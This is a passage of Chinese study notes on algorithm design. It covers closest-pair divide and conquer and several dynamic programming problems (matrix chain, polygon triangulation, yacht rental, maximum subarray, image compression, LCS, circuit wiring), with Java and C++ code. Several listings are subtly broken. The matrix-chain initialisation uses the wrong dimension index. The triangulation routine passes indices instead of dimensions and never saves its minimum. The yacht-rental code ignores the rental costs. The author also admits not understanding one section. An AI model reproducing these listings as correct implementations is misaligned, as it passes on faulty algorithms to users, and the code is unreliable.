将矩形R的长为2d的边3等分，将它的长为d的边2等分，由此导出6个(d/2)×(2d/3)的矩形。若矩形R中有多于6个S中的点，则由鸽舍原理易知至少有一个(d/2)×(2d/3)的小矩形中有2个以上S中的点。设u，v是位于同一小矩形中的2个点，则\n​\t证明就是六等分，那么一个小矩形的对角边就是最大的长度。\ndistance(u,v)\u0026lt;d。这与d的意义相矛盾。图b是具有6个S中的点的极端情况。\n由上述证明可知，在分治法的合并步骤中，最多只需要检查6xn/2=3n个候选者，而不是n^2/4个。\n​\t为了确切地知道要检查哪6个点，可以将p和P2中所有S2的点投影到垂直线l上。由于能与p点一起构成最接近点对候选者的S2中点一定在矩形R中，所以它们在直线l上的投影点距p在l上投影点的距离小于d。由上面的分析可知，这种投影点最多只有6个。因此，若将P1和P2中所有S中点按其y坐标排好序，则对P1中所有点，对排好序的点列作一次扫描，就可以找出所有最接近点对的候选者。对P1中每一点最多只要检查P2中排好序的相继6个点。\n以下就是伪代码：\ndouble cpair2(S) { n=|S|; if (n \u0026lt; 2) return 无穷; 1、m=S中各点x间坐标的中位数; //构造S1和S2； S1={p∈S|x(p)\u0026lt;=m}; S2={p∈S|x(p)\u0026gt;m}; //作递归的处理 2、 d1=cpair2(S1); d2=cpair2(S2); //找到集合内的最近距离点对，并且记录大小 3、dm=min(d1,d2); //预先排序的处理 4、设P1是S1中距垂直分割线l的距离在dm之内的所有点组成的集合； P2是S2中距分割线l的距离在dm之内所有点组成的集合； 将P1和P2中点依其y坐标值排序； 并设X和Y是相应的已排好序的点列； //1对6的扫描找最小值 所以最多是3 * n 5、通过扫描X以及对于X中每个点检查Y中与其距离在dm之内的所有点(最多6个)可以完成合并； 当X中的扫描指针逐次向上移动时，Y中的扫描指针可在宽为2dm的区间内移动； 设dl是按这种扫描方式找到的点对间的最小距离； 6、d=min(dm,dl); return d; } 核心过程就是第五步。\n​\t下面分析算法Cpair2的计算复杂性。设对于n个点的平面点集S ,算法耗时T(n)。算法的第1步和第5步用了𝑂(𝑛)时间。第3步和第6步用了常数时间。第2步用了2T(n/2)时间。若在每次执行第4步时进行排序,则在最坏情况下第4步要用𝑂(𝑛log⁡𝑛)时间。这不符合我们 的要求。因此，在这里我们采用设计算法时常用的预排序技术,在使用分治法之前,预先将S中n个点依其y坐标值排好序,设排好序的点列为P 。在执行分治法的第4步时,只要对𝑃∗作一次线性扫描,即可抽取出我们所需要的排好序的点列X和Y。然后，在第5步中再对X作一次线性扫描,即可求得dl.因此,第4步和第5步的两遍扫描合在一起只要用0(n)时间。这样,经过预排序处理后算法Cpair2 所需的计算时间T(n)满足递归方程 由此易知, T (n) = O(nlogn) 。预排序所需的计算时间显然为𝑂(𝑛log⁡𝑛)。因此,整个算法所需的计算时间为𝑂(𝑛log⁡𝑛),在渐近的意义下,此算法已是最优算法。\n注意考试的时候要写上边界（n = 4）。\n3.动态规划 # 基本概念和步骤 # 1、与分治法的异同 # 相同点：都是将求解问题分为若干个子问题\n不同点：分治法所要求的子问题是独立的，而动态规划所求解的子问题往往不是独立的，重叠的子问题的多次运算可能会造成指数级的运算量。\n2、动态规划的核心思想 # **记表备查：**保存已解决的子问题的答案，而在需要时再找出已求得的答案，就可以避免大量重复计算，从而得到多项式时间算法。\n3、解题步骤 # 1️⃣ 找出最优解的性质，并刻划其结构特征。\n2️⃣ 递归地定义最优值。\n3️⃣ 以自底向上的方式计算出最优值。\n4️⃣ 根据计算最优值时得到的信息，构造最优解\n4、基本要素 # 重叠子问题与最优子结构。\n矩阵连乘计算次序问题的最优解包含着其子问题的最优解。这种性质称为最优子结构性质。\n要证明最优子结构的性质。\n最优子结构的证明通常采用反证法，需要掌握。\n全局的最优一定有局部的最优，局部的最优不一定会形成全局的最优，必要不充分条件\n5、两种基本形态 # 动态规划(自底向上)与备忘录（memo）方法。\n备忘录方法是动态规划方法的变形，都是记表备查，不同点在于备忘录方法是自顶向下的递归，而动态规划是自底向上的递归\n一般来说，当一个问题的所有子问题都需要至少解一次时，用动态规划算法比用备忘录方法要好\n具体问题设计 # 1.*矩阵连乘问题 # ​\t给定n个矩阵𝐴1,𝐴2,…,𝐴𝑛，其中𝐴𝑖与𝐴𝑖+1是可乘的，i=1, 2,…, n-1。考察这n个矩阵的连乘积𝐴1𝐴2…𝐴𝑛。\n​\t由于矩阵乘法满足结合律，所以计算矩阵的连乘可以有许多不同的计算次序。这种计算次序可以用加括号的方式来确定。若一个矩阵连乘积的计算次序完全确定，也就是说该连乘积已完全加括号，则可以依此次序反复调用2个矩阵相乘的标准算法计算出矩阵连乘积。\n完全加括号的矩阵连乘积可递归地定义为：\n①单个矩阵是完全加括号的；\n②矩阵连乘积A是完全加括号的，则A可表示为2个完全加括号的矩阵连乘积B和C的乘积并加括号，即A=(BC)\n设有四个矩阵A,B,C,D，可以有以下5种不同的加括号方式：\n(A(B(CD))) (A((BC)D)) ((AB)(CD)) ((A(BC))D) (((AB)C)D)\n​\t每一种完全加括号方式对应于一种矩阵连乘积的计算次序，而矩阵连乘积的计算次序与其计算量有密切关系。矩阵A(p×q)和矩阵B(q×r)的乘积C=AB是一个p×r的矩阵，数乘次数为pqr\n❓ 问题：\n给定n个矩阵𝐴1,𝐴2,…,𝐴𝑛，其中𝐴𝑖与𝐴𝑖+1是可乘的，i=1, 2,…, n-1。如何确定计算矩阵连乘积的计算次序，使得依此次序计算矩阵连乘积需要的数乘次数最少。\n1）穷举法 # 计算次序相应需要的数乘次数，从中找出一种数乘次数最少的计算次序。\n对于n个矩阵的连乘积，设其不同的计算次序为P(n)。由于每种加括号方式都可以分解为两个子矩阵的加括号问题：(A1\u0026hellip;Ak)(Ak+1…An)可以得到关于P(n)的递推式如下：\n这个数字太大，没有计算价值。\n2）动态规划法 # 将矩阵连乘积AiAi+1…Aj简记为A[i:j] ，这里i≤j 。\n考察计算A[i:j]的最优计算次序。设这个计算次序在矩阵Ak和Ak+1之间将矩阵链断开，i≤k\u0026lt;j，则其相应完全加括号方式为：\n(AiAi+1…Ak) (Ak+1Ak+2…Aj)\n计算量：A[i:k]的计算量加上A[k+1:j]的计算量，再加上A[i:k]和A[k+1:j]相乘的计算量。\n1️⃣ 分析最优解的结构\n特征：计算A[i:j]的最优次序所包含的计算矩阵子链 A[i:k]和A[k+1:j]的次序也是最优的。\n矩阵连乘计算次序问题的最优解包含着其子问题的最优解。这种性质称为最优子结构性质。问题的最优子结构性质是该问题可用动态规划算法求解的显著特征。\n2️⃣ 建立递归关系\n设计算A[i:j]，1≤i≤j≤n，所需要的最少数乘次数m[i,j]，则原问题的最优值为m[1,n]。\n设Ai的维数为𝑝𝑖−1×𝑝𝑖，则\n当i=j时，𝐴[𝑖:𝑗]=𝐴𝑖，因此，m[i,i]=0，i=1,2,…,n\n当i\u0026lt;j时，𝑚[𝑖:𝑗]=𝑚[𝑖,𝑘]+𝑚[𝑘+1,𝑗]+𝑝𝑖−1𝑝𝑘𝑝𝑗\n可以递归地定义m[i,j]为：\n必考问题。\nk的位置只有j-i种可能\n3️⃣ 计算最优值\n对于1≤i≤j≤n不同的有序对(i,j)对应于不同的子问题。因此，不同子问题的个数最多只有\n​\t由此可见，在递归计算时，许多子问题被重复计算多次。这也是该问题可用动态规划算法求解的又一显著特征\n用动态规划算法解此问题，可依据其递归式以自底向上的方式进行计算。在计算过程中，保存已解决的子问题答案。每个子问题只计算一次，而在后面需要时只要简单查一下，从而避免大量的重复计算，最终得到多项式时间的算法。\n代码如下：\npublic static void matrixChain(int[] p, int[][] dp, int[][] partitionIndex){ //有n个矩阵 int n = p.length - 1; //初始化为0 for(int index = 0; index \u0026lt; n; ++index){ dp[index][index] = 0; } //控制矩阵链的长度 for(int len = 2; len \u0026lt;= n; ++len){ for(int i = 1; i \u0026lt;= n - len + 1; ++i){ //以第一个为基础 int j = i + len - 1; dp[i][j] = dp[i + 1][j] + p[i + 1] * p[i] * p[j]; partitionIndex[i][j] = i; for(int k = i + 1; k \u0026lt; j; ++k){ int value = dp[i][k] + p[i - 1] * p[k] * p[j] + dp[k + 1][j]; if(value \u0026lt; dp[i][j]){ dp[i][j] = value; partitionIndex[i][j] = k; } } } } } ​\t算法MatrixChain的主要计算量取决于算法中对r，i和k的3重循环。循环体内的计算量为𝑂(1)，而3重循环的总次数为𝑂(𝑛3)。因此算法的计算时间上界为𝑂(𝑛3)。算法所占用的空间显然为𝑂(𝑛2)。\ntraceback递归地来构造答案，那么完整可运行的代码如下：\npackage Dynamic; public class demo01 { public static void matrixChain(int[] p, int[][] dp, int[][] partitionIndex){ //有n个矩阵 int n = p.length - 1; //初始化为0 for(int index = 0; index \u0026lt; n; ++index){ dp[index][index] = 0; } //控制矩阵链的长度 for(int len = 2; len \u0026lt;= n; ++len){ for(int i = 1; i \u0026lt;= n - len + 1; ++i){ //以第一个为基础 int j = i + len - 1; dp[i][j] = dp[i + 1][j] + p[i + 1] * p[i] * p[j]; partitionIndex[i][j] = i; for(int k = i + 1; k \u0026lt; j; ++k){ int value = dp[i][k] + p[i - 1] * p[k] * p[j] + dp[k + 1][j]; if(value \u0026lt; dp[i][j]){ dp[i][j] = value; partitionIndex[i][j] = k; } } } } } public static void traceBack(int left, int right, int[][] partitionIndex){ if(left == right){ System.out.printf(\u0026#34;A\u0026#34; + left); }else{ System.out.print(\u0026#34;(\u0026#34;); traceBack(left, partitionIndex[left][right], partitionIndex); traceBack(partitionIndex[left][right] + 1, right, partitionIndex); System.out.print(\u0026#34;)\u0026#34;); } } public static void main(String[] args) { int[] p = {30, 35, 15, 5, 10, 20, 25}; int n = 6; int[][] m = new int[7][7]; int[][] s = new int[7][7]; matrixChain(p, m, s); traceBack(1, 6, s); System.out.println(); System.out.println(m[1][6]); } } 3）备忘录方法 # memo (python:@cache)\n​\t备忘录方法的控制结构与直接递归方法的控制结构相同，区别在于备忘录方法为每个解过的子问题建立了备忘录以备需要时查看，避免了相同子问题的重复求解。\n​\t备忘录方法的递归方式是自顶向下的，而动态规划算法则是自底向上递归的。\n​\t用递归解决问题的期间把值记录起来。\n以下是代码：\npackage Dynamic; public class demo02 { public static int lookUpChain(int left, int right, int[] p, int[][] m, int[][] partitionIndex){ if(m[left][right] \u0026gt; 0){ return m[left][right]; } if(left == right){ return 0; } int min = lookUpChain(left, left, p, m, partitionIndex) + lookUpChain(left + 1, right, p, m, partitionIndex) + p[left - 1] * p[left] * p[right]; partitionIndex[left][right] = left; for(int index = left + 1; index \u0026lt;= right; ++index){ int curr = lookUpChain(left, index, p, m, partitionIndex) + lookUpChain(index + 1, right, p, m, partitionIndex) + p[left - 1] * p[index] * p[right]; if(curr \u0026lt; min){ min = curr; partitionIndex[left][right] = index; } } m[left][right] = min; return min; } } 2.凸多边形最优三角剖分 # 用多边形顶点的逆时针序列表示凸多边形，即P={v0,v1,…,vn-1}表示具有n条边的凸多边形。\n若vi与vj是多边形上不相邻的2个顶点，则线段vivj称为多边形的一条弦。弦将多边形分割成2个多边形{vi,vi+1,…,vj}和{vj,vj+1,…,vi}。\n多边形的三角剖分是将多边形分割成互不相交的三角形的弦的集合T。\n注意：T中各弦互不相交，且集合T已达到最大；有n个顶点的凸多边形的三角剖分中，恰有n-3条弦和n-2个三角形。\n题目描述：给定凸多边形P，以及定义在由多边形的边和弦组成的三角形上的权函数w。要求确定该凸多边形的三角剖分，使得该三角剖分中诸三角形上权之和为最小。\n① 三角剖分的结构 # ​\t一个表达式的完全加括号方式相应于一棵完全二叉树，称为表达式的语法树。例如，完全加括号的矩阵连乘积((A1(A2A3))(A4(A5A6)))所相应的语法树如图 (a)所示。凸多边形{v0,v1,…vn-1}的三角剖分也可以用语法树表示。例如，图 (b)中凸多边形的三角剖分可用图 (a)所示的语法树表示。\n​\t矩阵连乘积中的每个矩阵Ai对应于凸(n+1)边形中的一条边𝑣𝑖−1𝑣𝑖。三角剖分中的一条弦𝑣𝑖𝑣𝑗，i\u0026lt;j，对应于矩阵连乘积A[i+1:j]。\n​\t给定矩阵链𝐴1𝐴2𝐴3𝐴4𝐴5𝐴6，Ai的维数为𝑝𝑖−1×𝑝𝑖；定义凸多边形P={𝑣0,𝑣1,𝑣2,𝑣3,𝑣4,𝑣5,𝑣6}，其三角形𝑣𝑖𝑣𝑗𝑣𝑘上的权函数值为𝑤(𝑣𝑖𝑣𝑗𝑣𝑘)=𝑝𝑖𝑝𝑗𝑝𝑘，依此定义，P的最优三角剖分所对应的语法树给出了矩阵链的最优完全加括号方式。\n② 最优子结构性质 # ​\t凸多边形的最优三角剖分问题有最优子结构性质。\n证明的时候就要使用反证法。\n​\t事实上，若凸(n+1)边形P={v0,v1,…,vn-1}的最优三角剖分T包含三角形v0vkvn，1≤k≤n-1，则T的权为3个部分权的和：三角形v0vkvn的权，子多边形{v0,v1,…,vk}和{vk,vk+1,…,vn}的权之和。可以断言，由T所确定的这2个子多边形的三角剖分也是最优的。因为若有{v0,v1,…,vk}或{vk,vk+1,…,vn}的更小权的三角剖分将导致T不是最优三角剖分的矛盾。\n③ 最优三角形剖分的递归结构 # 注意定义的时候前面有一个-1,所以最优方案也是从1开始为t1n\n​\t定义𝑡[𝑖][𝑗]，1≤i\u0026lt;j≤n为凸子多边形{vi-1, vi,…,vj}的最优三角剖分所对应的权函数值，即其最优值。为方便起见，设退化的多边形{vi-1,vi}具有权值0。据此定义，要计算的凸(n+1)边形P的最优权值为𝑡[1][𝑛]。\nt [ i ] [ j ] 的值可以利用最优子结构性质递归地计算。当j-i≥1时，凸子多边形至少有3个顶点。由最优子结构性质，**$t[i][j]$**的值应为$t[i][k]$的值加上$t[k+1][j]$的值，再加上三角形$v_{i-1}v_kv_j$的权值，其中i≤k≤j-1。由于在计算时还不知道k的确切位置，而k的所有可能位置只有j-i个，因此可以在这j-i个位置中选出使值$t[i][j]$达到最小的位置。由此，$t[i][j]$可递归地定义为 那么代码如下，和矩阵乘法是类似的处理方式：\npackage Dynamic; public class demo03 { public static int w(int a, int b, int c){ return a * b * c; } public static void minWeightTriangulation(int[] p, int[][] dp, int n, int[][] partitionIndex){ //initialize for(int index = 1; index \u0026lt;= n; ++index){ dp[index][index] = 0; } for(int r = 2; r \u0026lt;= n; ++r){ for(int i = 1; i \u0026lt;= n - r + 1; ++i){ int j = i + r - 1; int minValue = dp[i + 1][j] + w(i - 1, i, j); partitionIndex[i][j] = i; for(int k = i + 1; k \u0026lt; i + r - 1; ++k){ int currValue = dp[i][k] + w(i - 1, j, k) + dp[k + 1][j]; if(currValue \u0026lt; minValue){ minValue = currValue; partitionIndex[i][j] = k; } } } } } } 3.多边形游戏 # ​\t多边形游戏是一个单人玩的游戏，开始时有一个由n个顶点构成的多边形。每个顶点被赋予一个整数值，每条边被赋予一个运算符“+”或“*”。所有边依次用整数从1到n编号。\n1️⃣ 游戏第1步，将一条边删除。\n2️⃣ 随后n-1步按以下方式操作：\n(1)选择一条边E以及由E连接着的2个顶点V1和V2；\n(2)用一个新的顶点取代边E以及由E连接着的2个顶点V1和V2。将由顶点V1和V2的整数值通过边E上的运算得到的结果赋予新顶点。\n3️⃣ 最后，所有边都被删除，游戏结束。游戏的得分就是所剩顶点上的整数值。\n先只作证明，具体可以看书。\n4.公园游艇问题(考试难度类似) # ​\t题目描述：长江游艇俱乐部在长江上设置了n 个游艇出租站{1,2,…,n}。游客可在这些游艇出租站租用游艇，并在下游的任何一个游艇出租站归还游艇。游艇出租站 i 到游艇出租站 j 之间的租金为r(i,j),1≤i\u0026lt;j≤n。试设计一个算法，计算出从游艇出租站 1 到游艇出租站 n 所需的最少租金。\n思考一下，还是和矩阵连乘的问题是类似的。\n1️⃣ 最优解结构\n​\tr(i,j)表示游艇出租站i直接到j之间的租金，m(i,j)表示从出租站i出发，到达第j站需要的租金 例如m(1,3)就表示从第1站出发，到达第3站所需的租金，而m(1,3)可以有多种租用方案，例如可以1-2.2-3与1-3。\n假设在第k站换游艇( i ≤ k ≤ j ) ,则有m(i,j)=m(i,k)+m(k,j)，其中m(i,j)的最优解包括m(i,k)与m(k,j)的最优解。\n2️⃣ 建立递归关系\n由以上分析可知，显然有：\n3️⃣ 计算最优值\nvoid cent(int[][] m, int n, int[][] s) { for (int i = 1; i \u0026lt;=n ; i++) { m[i][i]=0; } for (int r = 2; r \u0026lt;= n; r++) for (int i = 1; i \u0026lt;= n - r + 1; i++) { int j = i + r - 1; s[i][j] = i; for (int k = i; k \u0026lt;= j; k++) { int temp = m[i][k] + m[k][j]; if (temp \u0026lt; m[i][j]) { m[i][j] = temp; s[i][j] = k;//在第k站下 } } } } 构造最优解：\nvoid traceBack(int i, int j, int[][] s) { if (i == j) { System.out.print(i); return; } System.out.print(\u0026#34;[\u0026#34;); traceBack(i, s[i][j], s); traceBack(s[i][j] + 1, j, s); System.out.print(\u0026#34;]\u0026#34;); } 5.最大子段和 # 和最大的一个连续子数组。\n​\tLeetCode：https://leetcode.cn/problems/maximum-subarray/description/\n​\t题目描述：给定由n个整数（可能为负整数）组成的序列a1,a2,…,an，求该序列子段和的最大值。当所有整数均为负整数时定义其最大子段和为0。依此定义，所求的最优值为： 例，序列{-2,11,-4,13,-5,-2}的最大子段和为20。\n​\t做法：定义状态 f[i] 表示以 a[i] 结尾的最大子数组和，不和 i 左边拼起来就是 f[i]=a[i]，和 i 左边拼起来就是 f[i]=f[i−1]+a[i]，取最大值就得到了状态转移方程 f[i]=max(f[i−1],0)+a[i]，答案为 max(f)。这个做法也叫做 Kadane 算法。\n由b[j]的定义易知，当b[j-1]\u0026gt;0时，b[j]=b[j-1]+a[j]，否则b[j]=a[j]，故 代码如下：\nclass Solution { public int maxSubArray(int[] nums) { int ans = nums[0]; int n = nums.length; int[] dp = new int[n]; dp[0] = nums[0]; for(int index = 1; index \u0026lt; n; ++index){ if(dp[index - 1] \u0026lt; 0){ dp[index] = nums[index]; }else{ dp[index] = dp[index - 1] + nums[index]; } ans = Math.max(ans, dp[index]); } return ans; } } 最大子段和问题与动态规划算法的推广 # 1、最大子矩阵和问题 # 给定一个m行n列的整数矩阵A，试求矩阵A的一个子矩阵，使其各元素之和为最大。\n把每两行之间的数字相加起来，使之成为一个一维的数组，接着用上面的方法来处理即可，这个问题比较简单。\n/** * 最大子矩阵和 * @param m * @param n * @param a * @return */ public static int MaxSum2(int m,int n,int[][]a){ int sum=0; int[]b=new int[n]; for(int i=0;i\u0026lt;m;i++){ //从第i行 for(int k=0;k\u0026lt;n;k++) //初始化数组b b[k]=0; for(int j=i;j\u0026lt;m;j++){ //到第j行 for(int k=0;k\u0026lt;n;k++) b[k]+=a[j][k];//按列取值 int max=solveByDP(b); if(max\u0026gt;sum) sum=max; } } return sum; } 2.*最大M子段和问题 # ​\t定由n个整数（可能为负数）组成的序列{a1,a2,…,an}，以及一个正整数m，要求确定序列{a1,a2,…,an}的m个不相交子段，使这m个子段的总和达到最大。\n设b(i,j)表示数组a的前j项中i个子段和的最大值，且第i个子段含a[j]（1≤i ≤ m，i ≤j ≤n），则计算b(i,j)的递归式为\n初始时\nb(0,j)=0, (1≤j ≤n)\nb(i,0)=0, (1≤i ≤m)\nint MaxSum(int m,int n,int *a) { if(n\u0026lt;m||m\u0026lt;1) return 0; int **b=new int *[m+1]; //定义二维数组b for(int i=0; i\u0026lt;=m; i++) b[i]=new int[n+1]; for(int i=0; i\u0026lt;=m; i++) //初始值 b[i][0]=0; for(int j=1; j\u0026lt;=n; j++) b[0][j]=0; for(int i=1; i\u0026lt;=m; i++) //1≤i ≤m for(int j=i; j\u0026lt;n-m+i; j++) //j≥i, t\u0026lt;j if(j\u0026gt;i) { b[i][j]=b[i][j-1]+a[j]; for(int k=i-1; k\u0026lt;j; k++) //i-1≤t\u0026lt;j if(b[i][j]\u0026lt;b[i-1][k]+a[j]) b[i][j]=b[i-1][k]+a[j]; } else //j=i, 每个数都是一个子段 b[i][j]=b[i-1][j-1]+a[j]; int sum=0; for(int j=m; j\u0026lt;=n; j++) if(sum\u0026lt;b[m][j]) sum=b[m][j]; return sum; } 6.*图像压缩问题（没看懂） # 我没看懂在干嘛，先放着吧。\n​\t计算机中常用像素点灰度值序列{𝑝1,𝑝2,\u0026hellip;,𝑝𝑛}表示图像，𝑝𝑖表示像素点i的灰度值。灰度值的范围常为0~255，需要用8位来表示。\n​\t图像的变位压缩存储格式将所给的像素点序列{𝑝1,𝑝2,\u0026hellip;,𝑝𝑛}分割成m个连续段{𝑆1,𝑆2,\u0026hellip;,𝑆𝑚}。第i个像素段Si中有l[i]个像素，且该段中每个像素都只用b[i]位表示。需用3位表示b[i]，如果限制1≤l[i]≤255，则需要用8位表示l[i]，因此第i个像素段所需的存储空间为l[i]*b[i]+11。——即一段中最多有255个像素，用8位二进制表示\n整个像素序列的存储空间为\n问题描述：确定像素序列{p1,p2,\u0026hellip;,pn}的一个最优分段，使得依此分段所需的存储空间最小。其中0≤pi ≤255，1 ≤i ≤n，每个分段的长度不超过255位。\n1️⃣ 最优子结构 # 设l[i],b[i]，1≤i ≤m是{𝑝1,𝑝2,…,𝑝𝑛}的最优分段。显而易见，l[1],b[1]是{𝑝1,𝑝2,…,𝑝𝑙[1]}的最优分段，且l[i],b[i]， 2≤i ≤m是\n{𝑝𝑙[1]+1,…,𝑝𝑛}的最优分段。即图象压缩问题满足最优子结构性质。\n2️⃣ 递归计算最优值 # 设s[i]，1≤i≤n，是像素序列{𝑝1,𝑝2,…,𝑝𝑖}的最优分段所需的存储位数。由最优子结构性质易知：\n举例：\n3️⃣ 构造最优解 # 算法用l[i],b[i]记录了最优分段所需的信息。\n最优分段的最后一段的段长和像素位数分别存储于l[n]和b[n]中，其前一段的段长度和像素位数存储于l[n-l[n]]和b[n-l[n]]中。依此类推，可在O(n)时间内构造出相应的最优解\n/** * 计算十进制数i所需的二进制位数 * * @param i * @return */ static int length(int i) { int k = 1; i = i / 2; while (i \u0026gt; 0) { k++; i = i / 2; } return k; } /** * @param n * @param l [p1:pi]的最优分段中最后1个分段的像素个数 * @param p p[p1:pn]，像素点灰度值序列 * @param s 像素序列[p1:pi]的最优分段所需的存储位数 * @param b 像素p[i]所需的存储位数 */ public static void Compress(int n, int[] p, int[] s, int[] l, int[] b) { int Lmax = 255;//每个分段的长度不超过255位 int header = 11;//分段段头所需的位数,表示一个段的附加信息 s[0] = 0; for (int i = 1; i \u0026lt;= n; i++) //[p1:pi] { b[i] = length(p[i]); int bmax = b[i]; s[i] = s[i - 1] + bmax; //k=1 l[i] = 1; for (int j = 2; j \u0026lt;= i \u0026amp;\u0026amp; j \u0026lt;= Lmax; j++) //最后的1个分段中有j个像素 { if (bmax \u0026lt; b[i - j + 1]) bmax = b[i - j + 1];//这一段中的最大位数 if (s[i] \u0026gt; s[i - j] + j * bmax) {//找到更好的分段 s[i] = s[i - j] + j * bmax; l[i] = j; } } s[i] += header;//加上额外开销 } } public static int Traceback(int n, int i, int[] s, int[] l) { if (n == 0) return i; i = Traceback(n - l[n], i, s, l); s[i++] = n - l[n];// 重新为s[]数组赋值，用来存储分段位置 return i; } static void Output(int s[], int l[], int b[], int n) { System.out.println(\u0026#34;The optimal value is \u0026#34; + s[n]); int m = 0; m=Traceback(n, m, s, l); //m:分段数 s[m] = n; //m个分段像素的累积和，Traceback算到m-1个 System.out.println(\u0026#34;Decompose into \u0026#34; + m + \u0026#34; segments\u0026#34;); for (int j = 1; j \u0026lt;= m; j++) { l[j] = l[s[j]]; //计算第j个分段像素个数: l[j] b[j] = b[s[j]]; //计算第j个分段所需的存储位数: b[j] } for (int j = 1; j \u0026lt;= m; j++) System.out.println(l[j] + \u0026#34; \u0026#34; + b[j]); } public static void main(String[] args) { int p[] = {0,10,12,15,255,2,1};//第一位不算 int N=p.length; int s[] = new int[N]; int l[] = new int[N]; int b[] = new int[N]; Compress(N-1, p, s, l, b); Output(s, l, b, N-1); } } 7.*最长公共子序列 # LeetCode:https://leetcode.cn/problems/longest-common-subsequence/description/\n​\t若给定序列𝑋=𝑥1,𝑥2,…,𝑥𝑚，则另一序列𝑍=𝑧1,𝑧2,…,𝑧𝑘，是X的子序列是指存在一个严格递增下标序列𝑖1,𝑖2,…,𝑖𝑘使得对于所有j=1,2,…,k有：𝑧𝑗=𝑥𝑖𝑗。例如，序列Z={B, C, D, B}是序列X={A, B, C , B, D, A, B}的子序列，相应的递增下标序列为{2, 3, 5, 7}。给定2个序列X和Y，当另一序列Z既是X的子序列又是Y的子序列时，称Z是序列X和Y的公共子序列。例：X={A,B,C,B,D,A,B}，Y={B,D,C,A,B,A}，则序列{B,C,A}是X和Y的一个公共子序列。\n1）最长公共子序列的结构 # 设序列X={x1,x2,…,xm}和Y={y1,y2,…,yn}的最长公共子序列为Z={z1,z2,…,zk} ，则\n⑴若xm=yn，则zk=xm=yn，且Zk-1是Xm-1和Yn-1的最长公共子序列。\n⑵若xm≠yn且zk≠xm，则Z是Xm-1和Y的最长公共子序列。\n⑶若xm≠yn且zk≠yn，则Z是X和Yn-1的最长公共子序列。\n由此可见，2个序列的最长公共子序列包含了这2个序列的前缀的最长公共子序列。因此，最长公共子序列问题具有最优子结构性质。\n2）子问题的递归结构 # 由最长公共子序列问题的最优子结构性质建立子问题最优值的递归关系。用𝑐[𝑖][𝑗]记录序列的最长公共子序列的长度。其中，\nX i = x 1 , x 2 , … , x i ； Y j = y 1 , y 2 , … , y j 。当i=0或j=0时，空序列是Xi和Yj的最长公共子序列。故此时𝐶[𝑖][𝑗]=0。其它情况下，由最优子结构性质可建立递归关系如下：\n3）计算最优值 # 由于在所考虑的子问题空间中，总共有θ(mn)个不同的子问题，因此，用动态规划算法自底向上地计算最优值能提高算法的效率。\n输入：x,y （序列数组）\n输出：\nc [ i ] [ j ] ，存储x[1:i]和y[1:j]的最长公共子序列的长度；\nb [ i ] [ j ] ，记录上面𝑐[𝑖][𝑗]的值是由哪个子问题的解得到的。\n/** * 计算最长公共子序列 * @param x 序列数组 * @param y 序列数组 * @param c 存储x[1:i]和y[1:j]的最长公共子序列的长度 * @param b 记录上面c[i][j]的值是由哪个子问题的解得到的 */ public static void LCSLength(char[] x, char[] y, int[][] c, int[][] b) { int m = x.length-1; int n = y.length-1; for (int i = 1; i \u0026lt;= m; i++) { c[i][0] = 0; } for (int i = 1; i \u0026lt;= n; i++) { c[0][i] = 0; }//第一个条件 for (int i = 1; i \u0026lt;= m; i++) { for (int j = 1; j \u0026lt;= n; j++) { if (x[i] == y[j]) { c[i][j] = c[i - 1][j - 1] + 1; b[i][j] = 1; //表示Xi和Yi的最长公共子序列是由Xi-1和Yi-1的最长公共子序列在尾部加上xi所得到的。 } else if (c[i - 1][j] \u0026gt;= c[i][j - 1]) { c[i][j] = c[i - 1][j]; b[i][j] = 2; //表示Xi和Yi的最长公共子序列与Xi-1和Yi的最长公共子序列相同 } else { c[i][j] = c[i][j - 1]; b[i][j] = 3; //表示Xi和Yi的最长公共子序列与Xi和Yj-1的最长公共子序列相同 } } } } 算法耗时O(mn)\n4）构造最长公共子序列 # 从𝑏[𝑚][𝑛] 开始，依其值在数组b中搜索。\nb [ i ] [ j ] 的值为：\n1，表示Xi和Yi的最长公共子序列是由Xi-1和Yi-1的最长公共子序列在尾部加上xi所得到的。\n2，表示Xi和Yi的最长公共子序列与Xi-1和Yi的最长公共子序列相同。\n3， 表示Xi和Yi的最长公共子序列与Xi和Yi-1的最长公共子序列相同。\npublic static void LCS(int m, int n, char[] x, int[][] b) { if (m == 0 || n == 0) { return; } if (b[m][n] == 1) { LCS(m - 1, n - 1, x, b); System.out.print(x[m]); } else if (b[m][n] == 2) { LCS(m - 1, n, x, b); } else { LCS(m, n - 1, x, b); } } 5）算法的改进 # ​\t在算法lcsLength和lcs中，可进一步将数组b省去。事实上，数组元素𝑐[𝑖][𝑗]的值仅由，和𝑐[𝑖−1][𝑗−1]，𝑐[𝑖−1][𝑗]和𝑐[𝑖][𝑗−1]这3个数组元素的值所确定。对于给定的数组元素𝑐[𝑖][𝑗]，可以不借助于数组b而仅借助于c本身在O(1)时间内确定𝑐[𝑖][𝑗]的值是由，和𝑐[𝑖−1][𝑗−1]，𝑐[𝑖−1][𝑗]和𝑐[𝑖][𝑗−1]中哪一个值所确定的。\n​\t如果只需要计算最长公共子序列的长度，则算法的空间需求可大大减少。事实上，在计算𝑐[𝑖][𝑗]时，只用到数组c的第i行和第i-1行。因此，用2行的数组空间就可以计算出最长公共子序列的长度。进一步的分析还可将空间需求减至O(min(m,n))。\n8.电路布线问题 # LeetCode类似问题：https://leetcode.cn/problems/uncrossed-lines/description/\nLCS的变种。\n​\t在一块电路板的上、下2端分别有n个接线柱。根据电路设计，要求用导线(i,π(i))将上端接线柱与下端接线柱相连，其中π(i)是{1,2,…,n}的一个排列。导线(i,π(i))称为该电路板上的第i条连线。对于任何1≤i\u0026lt;j≤n，第i条连线和第j条连线相交的充分且必要的条件是π(i)\u0026gt;π(j)。\n​\t电路布线问题要确定将哪些连线安排在第一层上，使得该层上有尽可能多的连线。换句话说，该问题要求确定导线集Nets={(i,π(i)),1≤i≤n}的最大不相交子集。\n最优子结构性质 # 看清楚这里N(i,j)的实际含义。t \u0026lt;= i\u0026hellip;\u0026hellip;\n考试前再看一下，比较有意思。\n代码：\nvoid MNS(int C[],int n,int **size){ //C[i]，即π[i] //size[i][j]，N(i,j)的最大不相交子集中连线的数目 for(int j=0; j\u0026lt;C[1]; j++) //i=1，j\u0026lt;π(1) size[1][j]=0; for(int j=C[1]; j\u0026lt;=n; j++) //i=1，j\u0026gt;=π(1) size[1][j]=1; for(int i=2; i\u0026lt;n; i++) //1\u0026lt;i\u0026lt;n { for(int j=0; j\u0026lt;C[i]; j++) //j\u0026lt;π(i) size[i][j]=size[i-1][j]; for(int j=C[i]; j\u0026lt;=n; j++) //j\u0026gt;=π(i) 